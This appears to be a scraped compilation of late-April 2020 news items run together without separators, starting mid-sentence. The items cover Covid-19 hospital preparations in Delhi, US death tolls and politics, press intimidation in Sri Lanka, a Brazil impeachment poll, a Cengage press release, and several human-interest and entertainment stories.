positive. Now, in preparation for the second scenario500 cases being reported in a daythe two dedicated Covid-19 hospitals in Delhi are looking at converting their operation theatres into intensive care units (ICUs) and adding oxygen support to all the beds. This is one of the measures suggested by the five-member panel. We have to operationalise 125 intensive care unit beds. Andas the committee rightly recommendedthe operation theatres that already have gas pipelines in place are the easiest to convert into ICUs. Each of our OTs will have two beds. The post-op area of the surgical block will also be used, a doctor from Lok Nayak Hospital said on condition of anonymity. The hospital has 18 operation theatres, some of which are likely to be reserved for surgeries on Covid-19 patients. The hospital currently has 64 ICU beds. The other 1,500 beds in the hospital will all have the facility to provide oxygen support to patients. The casualty wards, new medical block, some parts of the gynaecology block and paediatric block, as well as the OT block already have gas pipelines, so oxygen therapy will not be a problem. For areas such as the orthopaedic block that do not have a gas pipeline, oxygen cylinders will be used, the doctor said. Of the 1,987 active casesthose who still have the infection42 are admitted to the ICUs of the nine Covid-19 hospitals and 11 are on ventilator support. According to the data, there is just a handful of people on ventilators right now. The proportion of people who need ventilation is very little and as the private sector is involved, Delhi currently has enough facilities to handle all its cases. However, just to be prepared, the government is looking at purchasing more ventilators, another senior official involved in Covid-19 preparations said. Delhi is preparing for the worst-case scenario of having to deal with 30,000 active cases at one time. Assuming that for every 1,000 cases, 50 need ventilatorsand that is a very high estimatewe still have enough ventilators in the city as of now. The infection is here, nobody can stop its spread, but we have to reduce the number of deaths from the infection, said Dr SK Sarin, chair of the five-member panel and the director of Institute of Liver and Biliary Sciences, which is the first in the city to start plasma therapy trials for Covid-19 patients. SHARE THIS ARTICLE ON The World Bank has rubber-stamped a $100 million-loan to assist Turkey in the fight against covid-19 which has infected 112,261 according to health ministry figures. The project is part of the World Banks $14 billion global Fast Track Facility announced on April 2, the bank said in a statement on Friday. The funding will strengthen Turkeys capacity to avert the potentially high health and human cost of the COVID-19 pandemic by reinforcing mitigation and disease management, said Auguste Tano Kouame, World Bank country director for Turkey. With the actions supported by this project we hope to contribute to saving lives. Turkey plans to use the loan to ramp up tests and strengthen the overall health system to detect and treat cases, pro-government outlet Daily Sabah reports. The country Monday reported 2,131 news cases bringing the overall infection toll to 112,261 while recoveries have jumped to 33,791 after discharging 4,651 people. 2,900 people have however died from the novel respiratory disease. A New York woman who survived the Spanish influenza pandemic and beat cancer has triumphed over COVID-19 at the age of 101. Angelina Friedman is the latest centurion to beat the novel coronavirus, more than 100 years after her mother died giving birth to her aboard a passenger ship bringing immigrants from Italy to New York City during the second wave of the Spanish flu in 1918. Her family is hailing her as a 'superhuman' for her incredible life in which shes overcome the Spanish flu, miscarriages, cancer, sepsis and now her second pandemic, COVID-19. At 101, she has outlived her husband and 10 siblings. New York woman Angelina Friedman, 101, who was born in the height of the Spanish flu in 1918 and went on to survive cancer, beat the novel coronavirus this month Her family is hailing her as a 'superhuman' for her incredible life where shes overcome the Spanish flu, miscarriages, cancer, sepsis and now her second pandemic, COVID-19 'Her mother died giving birth on the ship, and she was taken care of by her two sisters, who were also on board,' Friedmans daughter Joanne Merola said to Pix11. Friedman and her two sisters reunited with their father in Brooklyn, where she was raised. She went on to marry Harold Friedman and the two started a family. However, both contracted cancer. 'She and my dad had cancer at the same time. She survived. He didnt,' Merola said. Now Friedman is the last of her surviving siblings and is still going strong. 'Everybody in the family lived until at least 95, except one uncle. My mother is a survivor. She is not human. She has superhuman DNA,' Merola said. Friedman, who lives in a Westchester nursing home, was diagnosed with COVID-19 on March 21 and suffered on and off fevers for weeks. On April 20, she finally tested negative for the virus after a week in isolation. Pictured crowned as prom queen in a June 2019 event at the nursing home Nurses say Friedman is doing very well after recovering from coronavirus. Pictured above at a June 2019 spring prom event where she was crowned queen Feidman now lives at the North Westchester Restorative Therapy and nursing Center in Lake Mohegan, New York. She was taken to the hospital on March 21 for a minor medical procedure and was diagnosed with COVID-19. She spent a week there before returning to isolation in her nursing home. On April 20 she finally tested negative for the virus. Merola says her mother suffered from on and off fevers but never had respiratory symptoms. Merola hasnt been able to visit her mother since February and says Friedman is nearly deaf and they cant talk on the phone. Feidman now lives at the North Westchester Restorative Therapy and nursing Center in Lake Mohegan, New York (above) Friedman's nursing home shared a photo of the resilient patient on April 24 writing: 'Lets hear it for Angelina our 101 year old resident who beat COVID-19 & is doing great!!!!!' In the spring the Angelina was crowned prom queen at an event at the nursing home. Nurses tell her that Friedman is doing incredibly well since beating the virus. 'They tell me shes doing great. Shes up and about as much as possible. Shes looking for wool to crochet with. If my mother could see this Id tell her, "You keep going, Ma. Youre gonna outlive us all,"' Merola said. New York continues to be the epicenter of the virus outbreak in the US. As of Tuesday morning there are more than 291,000 cases of COVID-19 and over 17,000 fatalities in the state. By Trend Azerbaijan has managed, within a short period of time, to launch various electronic portals and websites for the free use of the citizens to disseminate information and data connected with COVID-19 pandemic, Expert and IT Consulting Auditor of Prima Management Consulting (PMC) Ilgar Aliyev told Trend. According to him, a system of electronic permits was developed, which allowed the state to control the movement of citizens, as well as identify their needs. On the other hand, various online trainings were conducted in Azerbaijan in accordance with international standards; as we have seen, many countries, including America and Europe, also have switched to distance learning and remote work, and Azerbaijan was not an exception, he said. As the development trends show, both the private and the public sectors have been elaborating digital projects and automating business processes. The state is supporting digitalization of private business, noted the expert. We can say that in all IT sectors, work is underway to standardize and develop innovative projects and products as well as to optimize the provision of reliable and high-quality by the state online services to citizens, and technologies are being updated in this area," he added. Aliyev also touched upon auditing the public sector, banks and retail trade industries. For example, an audit in the public sector covers such areas as the implementation and use of developed IT strategies; in other related industries work is underway to optimize business aims, the most effective and correct methods of business control and the potential risks. During such audit studies, verification and testing works are carried out," the expert said. First of all, irrespective of whether it is a public or a private sector, risks are assessed in fields of security, control, competence of employees and their capabilities. Our audit recommendations comply with international standards that are generally accepted both in Europe and America, Aliyev stressed. In Azerbaijan, audit is conducted in line with world standards and in compliance with standards and legislation of the country," added the expert. --- Follow us on Twitter @AzerNewsAz US Navy Blue Angels and US Air Force Thunderbirds demonstration teams participate in a midday flyover of New York skyline and Empire State Building as part of the "America Strong" tour of US cities to honor first responders and essential workers during the outbreak of the coronavirus disease (COVID-19) in New York, U.S., April 28, 2020. REUTERS/Eduardo Munoz The US death toll from the novel coronavirus on Tuesday exceeded the 58,220 American lives lost during the Vietnam War as cases topped 1 million, according to a Reuters tally. US cases have doubled in 18 days and make up one-third of all infections in the world, according to the tally. The actual number of cases is thought to be higher, with state public health officials cautioning that shortages of trained workers and materials have limited testing capacity. About 30pc of the cases have occurred in New York state, the epicenter of the U.S. outbreak, followed by New Jersey, Massachusetts, California and Pennsylvania. The US death toll since the first death recorded on February 29 reached 58,233 on Tuesday, up more than 2,000 from the prior day. The outbreak could take more than 74,000 US lives by Aug. 4, compared with an April 22 forecast of over 67,600, according to the University of Washington's predictive model, often cited by White House officials. Globally, coronavirus cases top 3 million since the outbreak began in China late last year. The United States, with the world's third-largest population, has five times as many cases as the next hardest-hit countries of Italy, Spain and France. Of the 20 most severely affected countries, the United States ranks fifth based on cases per capita, according to a Reuters tally. The United States has about 30 cases per 10,000 people. Spain ranks first at over 48 cases per 10,000 people, followed by Belgium, Switzerland and Italy. In addition to exceeding the Vietnam War toll, the U.S. toll for the coronavirus tops the number of deaths from seasonal flu in recent years, except for the 2017-2018 season, according to the .. Centers for Disease Control and Prevention (CDC. Flu deaths range from a low of 12,000 in the 2011-2012 season to a high of 61,000 during 2017-2018. The coronavirus deaths in the United States fall short of the approximately 100,000 Americans killed by seasonal flu in 1967, according to the CDC. It is also far less deadly than the Spanish flu, which began in 1918 and killed 675,000 Americans. Unprecedented stay-at-home orders to try to curb the spread of the virus have hammered the economy, with the number of Americans seeking unemployment benefits over the last five weeks soaring to 26.5 million. About a dozen states are beginning to relax the stay-at-home restrictions despite the warning of health experts that premature actions could cause a surge in new cases. Meanwhile, Lawmakers in the US House of Representatives will not return to Washington next week as planned, due to the continuing risk of coronavirus infection, Democratic leaders said on Tuesday, a reversal of plans outlined only a day earlier. House Majority Leader Steny Hoyer said he and House Speaker Nancy Pelosi made the decision to keep the chamber on an extended recess after discussing the situation with the official House physician, as well as House members. "The numbers (of coronavirus cases) in the District of Columbia are still going up," Hoyer told reporters. "The House physician's view was that there was a risk to members that was one he would not recommend taking." With the Republican-run Senate returning to session next week, President Donald Trump, a Republican, accused the Democrat-led House of not wanting to work. "They're enjoying their vacation," he told reporters at the White House. "You look at Nancy Pelosi eating ice cream on late-night television." Pelosi, who showed off a home freezer full of ice cream in a recent television interview, retorted that Trump had been in denial about the danger posed by the coronavirus. "This president has presided over the worst disaster in our country's history, an assault on the lives and the livelihoods of the American people, and he did so by neglect of information, also denial and delay in accepting the facts," Pelosi told MSNBC. "I have ice cream in my freezer; I guess that's better than having Lysol in somebody's lungs," she said, referring to a suggestion Trump made last week that coronavirus researchers try putting disinfectants into patients bodies. In a separate call with reporters, Pelosi said it appeared $500 billion would be needed for states, and possibly "a very big figure also for counties and municipalities as they grapple with the coronavirus. Lawmakers have already provided $150 billion to state and local governments in previous coronavirus legislation. A federal judge on Monday required U.S. Immigration and Customs Enforcement to individually justify the detention of parents held longer than 20 days at family detention centers amid the coronavirus outbreak, expanding on a ruling that had earlier applied only to children. U.S. District Judge James Boasberg of the District of Columbia said in a teleconference hearing that he doubted he had jurisdiction to order emergency releases from ICE's family detention facilities as sought by immigrant advocates who filed a class-action suit on March 31 arguing that the facilities lack hygiene and social distancing standards to prevent coronavirus spread. But Boasberg said he could address concerns about conditions faced by families who have not been charged with crimes, pose no public safety threat and are awaiting their requests for asylum to be processed. Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram Nadesapillai Vithyatharan is a rare survivor, one of the few journalists abducted during Sri Lankas civil war who lives to tell the story. In 2009, police abducted Vithyatharan in one of the white vans known for snatching government critics. But Vithyatharan was luckythere were dozens of witnesses who saw him get picked up, made the right phone calls to the right people, and mobilized the international community quickly, as CPJ documented at the time. Police freed Vithyatharan after two months, when many others who had been abducted during the decade of Mahinda Rajapaksas government were beaten and dumped by the roadside, if not killed. With Mahindas brother Gotabaya as defense secretary, the two are credited for ending the civil war with Tamil separatists, but they are also accused of brutal human rights violations, including extrajudicial killings and abductions of journalists. After five years out of power, the Rajapaksas have returned, with Gotabaya elected as president in November. He appointed Mahinda as prime minister, and many journalists say they are wary that the old dangers will return. While the civil war ended more than a decade ago, a steady campaign of intimidation and attacks on journalists ran throughout Mahinda Rajapaksas presidency, from 2005 to 2015. While the country and its media are freer and safer today than during the war years no one has been held to account for the killings, abductions, and harassment, leading some to fear that there will be a fresh round of violence and abuse. I dont think with this government theres any hope of transitional justice or reconciliation, Vithyatharan told me when I visited Sri Lanka earlier this year. Its been five years. The world has given them enough time. Sri Lanka is cheating them now. The Rajapaksas are hoping to consolidate their power by taking a majority in parliamentary elections, set for June 20. When I visited, prior to the pandemic, journalists told CPJ that they expected the administrations approach to the media to become clear after the parliamentary elections. Fear and self-censorship Already, Sri Lanka has seen a rapid militarization of the civil administration. In December, the Telecommunications Regulatory Commission of Sri Lanka, along with nearly 150 institutions, was brought under the Ministry of Defense. In late February, while I was in Sri Lanka, the government officially withdrew from the U.N. rights resolution that called for accountability for alleged excesses carried out by Sri Lankan troops and reparations for victims. After five months of the new administration, CPJ has documented cases of journalists being harassed, threatened, and intimidated. CPJ is aware of at least two journalists who have gone into exile since the election. The chief investigator responsible for overseeing the cases of journalists who had been murdered fled the country and sought asylum shortly after the election, according to news reports. Eight journalists in Batticaloa city received death threats in the form of flyers with their pictures circulated, according to news reports. Authorities have summoned a number of journalists for questioning, as CPJ has documented. Arumugam Sabeswaran, a sub-editor for the Tamil daily newspaper Thinakkural, told me at the Jaffna Press Club on a sunny weekday morning that reporting had already visibly changed in the past three months, with fewer details being included in articles. Reporters said sensitive topics included the army, human rights violations, missing peoples, land-grabbing, political corruption, and the Rajapaksa family. Hana Ibrahim, the editor of the Daily/Weekend Express, said her management had already cautioned her not to be too critical of the Rajapaksas. Everyone is scared, she said. Were not writing what needs to be written. Were not being critical. The Free Media Movement, a local press freedom advocacy group, saw an increase in incidents reported to them immediately after the presidential election, Thaha Muzammil, the treasurer of the group, told me. In many of the instances, the main culprits were suspected supporters of the ruling Sri Lanka Podujana Peramuna (SLPP) political party. Kamaranatan Hamsanan, a reporter at Thinakkural, and Ibrahim both told CPJ separately that authorities were brazenly surveilling journalists, using official vehicles. Reporters covering protests are particularly watched, Kumaraswamy Selvakumar, a freelance journalist based in Jaffna, told me. Because of this, some journalists are afraid to do on-the-ground reporting, Sabeswaran said. Prabakaran Thangarajah, editor of the Tamil daily newspaper Uthayan, told CPJ in his office that he sometimes receives phone calls from the military asking about sources. Other times, he said he receives calls from unknown people who make threats about news that was published; reporters and freelancers for the paper have been threatened by unnamed people to not file a story; and shops are told not to sell the paper. Milinda Rajapaksha, former spokesperson for Gotabaya Rajapaksa (but no relation) and a politician in the ruling SLPP, denied that the government was intimidating journalists. Anuradha Herath, international media and international relations spokesperson for Prime Minister Mahinda Rajapaksa, said that the new government would be different than the old Rajapaksa administration because it is no longer war-time. Yes, there was a fear culture with the earlier [Mahinda Rajapaksa] government, but theres no reason for that any longer, Herath told CPJ. We want there to be an openness. In response to a CPJ question asking whether the government would make press freedom a priority, Herath said the government had not yet taken measures or drawn up plans for addressing press freedom and journalist safety because the government was focused on the economy. Uditha Jayasinghe, deputy editor for the Daily Financial Times based in Colombo, said she was concerned about receiving substantive information from the government to be able to report on the economy. If in the pre-2015 era, politics and war were the main focus, now, the economy is the front-line, she said. While the president has promised to honor press freedom, he has also promised to pardon military commanders in jail for human rights violations committed during the war. A state of impunity The previous government, led by Maithripala Sirisena, was voted in on promises of delivering justice and accountability for abuses during the civil war. And while the government initially supported investigations into journalist killings and abductions, the momentum slowed after the first two years in power. Sandya Eknelygoda sits in her living room surrounded by graphic artwork created by her sons. (CPJ/Aliya Iftikhar) Last fall, just before the election, the attorney general indicted Lt. Colonels Shammi Karunarathna, Prabodha Siriwardena and five others over columnist and cartoonist Prageeth Eknelygodas abduction in 2009. In March, I attended a hearing with the special three-judge bench in the High Court. The trial has been postponed due to the pandemic. Eknelygodas wife, Sandya, has fought tirelessly for justice for her missing husband for more than a decade. To get justice, we have to trust the law. But there are certain barriers, she said, sitting in her living room surrounded by large graphic design artwork and renderings of Prageeth and murdered journalist Lasantha Wickrematunge, created by her sons, and framed cartoons Prageeth had drawn. Sandya said she believed witnesses in the case were being intimidated. In the past three months, she said threats to her and surveillance of her family had increased, and she feared something might happen to her sons, at least one of whom had been followed. She said drivers of Sri Lanka ubiquitous three-wheeled taxis have been reluctant to take her places. We have to fight for justice. No one will put it in a box and give it to me. Its difficult, but we have to fight for it. Many families of Tamil journalists that went missing or were killed never pursued cases, out of fear they would also be targeted. Selvarani Sahadevan recalled her son Sahadevan, a young journalism student who was shot and killed outside of their home in 2007. (CPJ/Aliya Iftikhar) Selvarani Sahadevans son Nilakshan Sahadevan was pulled out of their home and shot dead. No investigation was ever opened into her sons death, she said; the family only received a medical report. Selvarani believes she knows the identity of her sons killers, but never pursued the case. There was no opportunity for an investigation, where would we go? The people that did this were there, said the retired school teacher, draped in a cream-colored sari. My family would be killed if we reported it We lived a threatened life. In late 2019, Selvarani said she got a call from the media ministry under Sirisena, offering her family compensation, which never materialized. She doesnt hold any hope of an investigation now. I dont know what to say of justice, she said. Too much time has gone. The Paranirupasingham family remembers Devakumar, who was one of the few remaining journalists reporting from the Jaffna peninsula when he was killed in 2008. (CPJ/ Aliya Iftikhar) Balasaridha Paranirupasingham remembered his brother, Devakumar Paranirupasingham, as a talented and passionate journalist who often covered murder and crime scenes. Balasaridha sat in his living room with his wife, his aunt, and his mother, with a framed picture of his brother on the wall. The family is aware that Devakumar had received threats and had initially filed a police report after his death, but withdrew it after a few days. Balasaridha said he still believes his family is unsafe. If I investigate what happened to my brother, Ill have to die for him, he said. A framed photo shows Aiyathurai Nadesan, an award-winning journalist who was shot dead in Batticaloa in 2004. (CPJ/Aliya Iftikhar) Abiran Nadesan was a young girl when her father, Aiyathurai Nadesan, a part-time journalist and part-time tax officer, dropped her off for tutoring on May 31, 2004. On his way to his office job, he was shot dead with a poison bullet. One month earlier, Nadesan had been taken to an army camp and threatened with arrest if he did not stop writing. He had been reporting on chain murders and had guessed that the next target would be a journalist. He began switching his route to work and was killed 50 meters from his office. While the family believes they know who was responsible for the killing, they did not give information to the judge after Nadesans death because they feared they would also be targeted, Abiran said. Now a grown woman with children of her own, Abiran said her father had refused to stop writing, and recalled that he would always say, Pen is my weapon. Rajapaksha, of the ruling SLPP, told CPJ it was unlikely the government would open new investigations into journalists who had been killed or gone missing, saying that the previous Sirisena government had made those promises, and failed to deliver, and it isnt the responsibility of the new government to carry it forward. The whole purpose of electing the previous government was to expedite those investigations, Rajapaksha said. The Rajapaksas were voted out of power. Now, theyve been given it back. The president has said openly that hes not ready to punish [those who attacked journalists], Sabeswaran, the sub-editor for the Tamil daily Thinakkural, said. We need accountability and justice. Without that, we cant move forward. Yet investigators into open cases of journalist murders and abductions have either fled the country or been transferred, the Young Journalists Association said. All the arrested police or military officers are free on bail, and some have gotten their jobs back, Viranjana Herath, who leads the subcommittee of the safety of journalists and impunity at Free Media Movement, said. Vithyatharan said the perpetrators of his attack continue to work in the government and army. The people who killed the journalists, theyre living with us, said Sabeswaran. We have fear they can still kill. We cant enjoy freedom of press. Editors note: The 18th paragraph has been corrected to more accurately reflect Uditha Jayasinghes comments. The lockdown that has resulted due to the coronavirus pandemic has resulted in many birthdays and anniversary celebrations needing the help of local authorities and police. Similarly, the police stepped up once again to make an elderly mans birthday celebrations complete. The incident took place in Panchkula, Haryana where Karan Puri, who lives alone was visited by the local police with a cake. Interactions with Police is always emotional - be it fear, anger , anxiety or gratitude.But I have never seen such overwhelming emotional burst . See how #PanchkulaPolice made the best birthday ever this senior citizen who is staying all alone. Respect @CP_PANCHKULA pic.twitter.com/VP0oVJ2Rvf Pankaj Nain IPS (@ipspankajnain) April 28, 2020 In a video shared by IPS officer Pankaj Nain of the Haryana Cadre, a policewoman can be heard asking the senior citizen his name when he walks out of his house with no idea of the surprise awaiting him. "My name is Karan Puri. I live alone and I'm a senior citizen," he says while moving towards the front gate of his house, outside which the cops stand waiting. He then stops in amazement as the cops bursts out singing Happy Birthday for him. The birthday boy is visibly touched by Panchkula Police's surprise and burst into tears on being offered a cake. "Koi baat nahi sir, aapki family hain hum bhi (It's okay, sir, we are your family)," a policeman told Puri. Puri is then seen wearing a red party hat and cutting his cake as the team of four cops sings for him. "Interactions with police is always emotional - be it fear, anger , anxiety or gratitude. But I have never seen such overwhelming emotional burst," wrote Nain while sharing the footage. Once the video hit social media, netizens joined in to applaud the gesture. @ipspankajnain Sir, you may not be able to spot this reply but Thank you for your kind words, on Karan Uncles behalf. I did tell him that you shared his video and even sent him the screenshot.A big thanks to you and your team on his behalf! Vishal Nijhawan (@Nijhawan_V) April 28, 2020 I am speechless! The look on that man is priceless when the policeman said "hum bhi aapke hi bachhe hai" Himanshu Gupta (@himanshu98gupta) April 28, 2020 Thanks officers its such a emotional moment for COL Sahab, I am sure his family must be also in tears .Salute to our police team.. Rajesh Chhikara (@chhikaraR) April 28, 2020 By Elizabeth Kwiatkowski, 04/28/2020 ADVERTISEMENT ADVERTISEMENT ADVERTISEMENT Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade. : Before the 90 Days couple Rebecca Parrot t and Zied Hakimi have gotten married!Rebecca and Zied exchanged vows and tied the knot in Lumpkin County, GA, on April 19, according to a representative from the Probate Court in Cherokee County, In Touch Weekly reported Zied has therefore moved from Tunisia to the United States and is likely living with Rebecca and her daughter in Canton, GA.The couple, who starred on Season 3 of : Before the 90 Days, reportedly obtained their marriage license on April 14.In March 2020, TLC released a short-form Season 4 episode of : What Now?, the spinoff available on the network's TLC GO streaming service, that updated viewers on Rebecca and Zied's relationship.During the : What Now? episode, Rebecca announced her divorce from her third husband had been finalized and Zied's K-1 visa had also recently been approved.According to Rebecca, Zied's visa was approved less than four months after they applied for it. Zied was therefore granted a 90-day period to marry Rebecca upon his entry into the United States in order to live in America permanently."We were expecting to wait anywhere from six months to a year or more, but Zied's visa has been approved -- we just found out!" she said."Zied could be here within the next two months. It has been almost one year since Zied and I have been together."One scene in the What Now? episode also showed Rebecca househunting so she and Zied could live together once he arrived.Around the time their What Now? episode was released, Rebecca also denied split rumors on social media, confirming she and Zied were still "happily in love" but she was just too busy with work and moving to post on social media all the time.And on April 23, Rebecca took to Instagram and gave fans a glimpse into her new apartment, which boasts exposed brick and a lot of natural light.This marks Rebecca's fourth marriage. Her last marriage was with a man from Morocco, but when the relationship turned sour, Rebecca and the man signed divorce papers and then she began a romance with Zied.Rebecca and her ex-husband finalized their divorce on July 9, 2019, according to divorce documents obtained by In Touch.Rebecca was a 47-year-old private investigator when she fell hard and fast for Zied, a then-26 year old whom she had met online.Rebecca, who has three kids, was prepared to open her heart again and give love another shot with Zied.Rebecca confessed her first two marriages were with "average, run-of-the-mill American men" and her third marriage turned out to be a disaster because the Moroccan man -- whom she had brought to America on a spousal visa -- became too jealous and controlling once he arrived in the United States.In order to determine whether they could make their relationship work long-term, Rebecca planned a 15-hour flight to Tunisia, and her ultimate goal was to leave Tunisia with an engagement ring and a new foreign fiance.However, Rebecca's third divorce had yet to be finalized by the time of her trip since she and the Moroccan man had signed the divorce papers but not filed them.Rebecca and Zied's relationship got off to a wonderful start in Tunisia, except for the fact Zied -- who was apparently car-less at the time -- asked Rebecca to pay for a rental car for the couple to use during her stay.Rebecca also later discovered Zied was a jealous man who had no work history listed in his background check. In addition, Zied once randomly asked Rebecca for $200.When Zied asked Rebecca for money, she worried he might be using her and had bad intentions for their relationship. Rebecca feared Zied would take advantage of her and expect her to support him financially once he comes to the United States.However, Rebecca later learned Zied had borrowed the money just to buy her an engagement ring that he couldn't afford on his own.Although Rebecca took her time in coming clean to Zied that she was still technically a married woman and once had a same-sex relationship that Zied's family would never approve of, Zied said he never stopped loving Rebecca.Zied insisted Rebecca would always be the woman for him and he'd do anything to make it work, and Rebecca felt the same way.Zied therefore proposed marriage to Rebecca during a romantic picnic in the Sahara Desert, and she called Zied "perfect" although their time together in Tunisia had been a bit of a roller coaster."I cannot wait to get your visa done and get your ass to America and marry you!" Rebecca told her fiance on : Before the 90 Days.A few weeks after Rebecca and Zied had met in person, it was time for Rebecca to get on a plane and head back to America.Rebecca planned to file for the K-1 visa, but she said it was going to take six to eight months for that to happen.She worried, in the meantime, Zied would change his mind about moving or his family might talk him out of his relationship.Zied, however, promised Rebecca that she would see his face for the rest of her life because he was crazy about her. Rebecca assured Zied that she was crazy about him too.During Part 2 of : Before the 90 Days' Tell-All special, Zied said his family would probably be very angry over the fact Rebecca once had a same-sex relationship and not accept it."If his family were to find out, he'd have to choose between me or his family," Rebecca revealed."Well, you know they're going to find out," Tell-All host Shaun Robinson said.Rebecca also acknowledged there was a possibility Zied might change as a man when he comes to America, just like her ex from Morocco did.Zied, however, said he hates sitting at home and not working, and so he argued he'd be nothing like Rebecca's ex.Rebecca also said Zied could work in a restaurant near her house or go back to school once he's welcomed into America. Rebecca pointed out there were no red flags with Zied despite warnings and concerns from her friends and family.Want more spoilers or couples updates? Click here to visit our homepage! Source: Xinhua| 2020-04-28 19:49:58|Editor: huaxia Video Player Close KAMPALA, April 28 (Xinhua) -- The Ugandan government on Tuesday called for compassion as business enterprises in the east African country have started terminating work contracts of their employees as a result of what they call negative business impact of the COVID-19 pandemic. Frank Tumwebaze, minister of gender, labor and social development told reporters here that the COVID-19 pandemic is temporary and has affected everyone and therefore both parties, workers and employers must exercise patience and mutual understanding. Tumwebaze said that during a recent meeting of government, workers' unions and the employers' federation, all parties agreed that the termination of employees should be taken as the last resort, after all the available softer options have been exhausted. The tripartite meeting also noted that termination of employees' contracts will occasion more costs to employers in form of payment of terminal benefits for instance, payment in lieu of notice, compensation for leave days not taken, and severance packages, among others. Tumwebaze said the most affected sectors are tourism, hotel, and transport among others. He said some sectors like manufacturing especially those involved in producing soap, sanitizers, toilet tissues, face-masks and other personal protective equipment, should not use the excuse of COVID-19 to lay off their employees. He said these factories are reportedly experiencing growth in their businesses. Bank of Uganda, Uganda's central bank early this month said the COVID-19 pandemic has led to a severe contraction in economic activity due to a combination of global supply chain disruptions, travel restrictions, measures to limit contact between persons, and the sudden decline in demand. Economic experts warn that is is likely to lead to slow business and some enterprises may close. Enditem Share this article Whatsapp Facebook Twitter Linkedin (Reuters) Brasilia Tue, April 28, 2020 10:45 625 fc6853813033f564188675f8bd49e985 2 World Bolsonaro,COVID-19,poll,impeachment Free Brazilians are split on impeaching President Jair Bolsonaro despite a majority believing accusations by the former justice minister that Bolsonaro tried to interfere with the federal police's work for political gain, a poll conducted on Monday showed. Pollster Datafolha found that 48 percent oppose impeaching Bolsonaro while 45 percent of those surveyed want to see him impeached, a difference within the margin of error of the poll. Sergio Moro, a popular minister because of his record fighting corruption as a federal judge, resigned as justice minister on Friday, accusing the president of attempting to interfere in sensitive police investigations involving family members. Bolsonaro said the accusations were unfounded. For 52 percent of those polled by Datafolha, Moro was telling the truth and only 20 percent said they believed Bolsonaro's account. While Brazilians are split on Congress removing the president by impeachment, the number that believe Bolsonaro should resign has risen to 46 percent from 37 percent in the previous poll at the beginning of April. Those opposed to his resigning have decreased to 50 percent from 59 percent. A main reason for discontent with Bolsonaro has been his handling of the coronavirus epidemic, whose gravity he has downplayed as the death toll rises in Brazil. The poll found 45 percent consider his handling bad or terrible against 27 percent who think he has done a good or excellent job. The Datafolha poll showed that Bolsonaro has hung on to his core support, with the positive approval rating of his government rising to 33 percent from 30 percent in December. Its negative numbers have risen to 38 percent from 36 percent four months ago. Datafolha polled 1,503 people by telephone on Monday. The poll has a margin of error of 3 percentage points up or down. Fast Company's World Changing Ideas Awards honor businesses, policies, projects and concepts that are actively engaged and deeply committed to flattening the curve when it comes to the climate crisis, social injustice or economic inequality. "The cost of obtaining a college degree is an insurmountable obstacle for too many students to overcome," said Michael E. Hansen, CEO, Cengage. "That's why we created Cengage Unlimited: to disrupt the traditional college publishing model and offer students affordable access to quality course materials. We are humbled that Fast Company has recognized our contribution to address the college affordability crisis with Cengage Unlimited, which has already helped millions of students." Since launching in August 2018, Cengage Unlimited has saved college students over $200 million with more than 2.6 million subscriptions sold. A subscription gives students access to more than 22,000 products, including eBooks, online homework access codes and study guides for one price, no matter how many materials they use. The subscription also includes free access to college success and career support; including activities in resume-building, financial literacy, time management and more. A subscription also includes access to services including Dashlane, Evernote, Kaplan, and Quizlet. "The unprecedented upheaval caused by COVID-19 has underscored the affordability divide in higher education. Everyone in the higher education ecosystem must take action to innovate and advocate to ensure all learners have equitable opportunity and access to quality learning," Hansen continued. Now in its fourth year, the World Changing Ideas Awards showcase 26 winners, more than 200 finalists, and more than 500 honorable mentions. A panel of eminent judges selected winners and finalists from a pool of more than 3,000 entries across transportation, education, food, politics, technology, and more. The 2020 awards feature entries from across the globe, from Vancouver to Singapore to Tel Aviv. "There seems no better time to recognize organizations that are using their ingenuity, resources, and, in some cases, their scale to tackle society's biggest problems," says Stephanie Mehta, editor-in-chief of Fast Company. "Our journalists, under the leadership of senior editor Morgan Clendaniel, have uncovered some of the smartest and most inspiring projects of the year." All of the finalists are highlighted in the May/June issue Fast Company's print magazine, which hits newsstands May 5. To learn more about Cengage Unlimited, visit: https://www.cengage.com/unlimited/ About Cengage Cengage is the education and technology company built for learners. As the largest US-based provider of teaching and learning materials for higher education, we offer valuable options at affordable price points. Our industry-leading initiatives include Cengage Unlimited, the first-of-its-kind all-access digital subscription service. We embrace innovation to create learning experiences that build confidence and momentum toward the future students want. Headquartered in Boston, Cengage also serves K-12, library and workforce training markets around the world. Visit us at www.cengage.com or find us on Facebook or Twitter. About the World Changing Ideas Awards World Changing Ideas is one of Fast Company's major annual awards programs and is focused on social good, seeking to elevate finished products and brave concepts that make the world better. A panel of judges from across sectors choose winners, finalists, and honorable mentions based on feasibility and the potential for impact. With a goal of awarding ingenuity and fostering innovation, Fast Company draws attention to ideas with great potential and helps them expand their reach to inspire more people to start working on solving the problems that affect us all. Media Contacts : Emily Featherston, Cengage 617.757.8035, [email protected] Kristitna Massari, Cengage 203.965.8694, [email protected] SOURCE Cengage Related Links http://www.cengage.com WASHTENAW COUNTY, MI It was a lot like youd expect a weekend just before St. Patricks Day in Ann Arbor to look like. University of Michigan students, fresh off of spring break, packed neighborhood parties and bars, people shopped downtown and ate out at restaurants. It seemed few paid much mind to the Washtenaw County Health Departments March 13 announcement that two mild cases of the novel coronavirus had been confirmed in the county, just a couple days after the first cases were confirmed in the state. Both of these people had a history of travel one in Europe, the other in New York, both of which were beginning to see large outbreaks of the new disease. They had limited contact in several spots around the county before their results turned up positive an Ypsilanti bar, an Ann Arbor hair salon, the downtown YMCA. So, life went on as usual, like when students went out to party when UM canceled classes Thursday and Friday, March 12-13, to transition to online studies the upcoming Monday based on state and local officials urging that outings be limited and people begin to practice social distancing. UM student Grace Biermacher noticed her classmates celebrating on social media as she traveled back to the U.S. from studying abroad in Spain, awaiting what was a positive COVID-19 test result at her home near Grand Rapids. I think there was definitely a temptation on campus to continue to go about your life the way it was before this whole thing happened just because, as always, when classes get canceled, people get excited, even if its for the polar vortex or COVID-19, Biermacher said. I think people see it now, but even at that time, you could have been spreading it or contracting it without being aware of it. Especially in a big party setting like that: youre sharing drinks, talking to people in close proximity. Its super dangerous in this kind of a pandemic. There were 16 confirmed cases of COVID-19 in the county by March 20, Washtenaw County Health Department data shows. Five days later there were 73. That growth steadily continued. Ypsilanti, marginalized groups impacted more by COVID-19 in Washtenaw County More than three weeks into April, there are more than 1,200 confirmed and probable cases of COVID-19 in Washtenaw County and 55 residents have died. The Ann Arbor-area is one of the largest communities with significant transmission 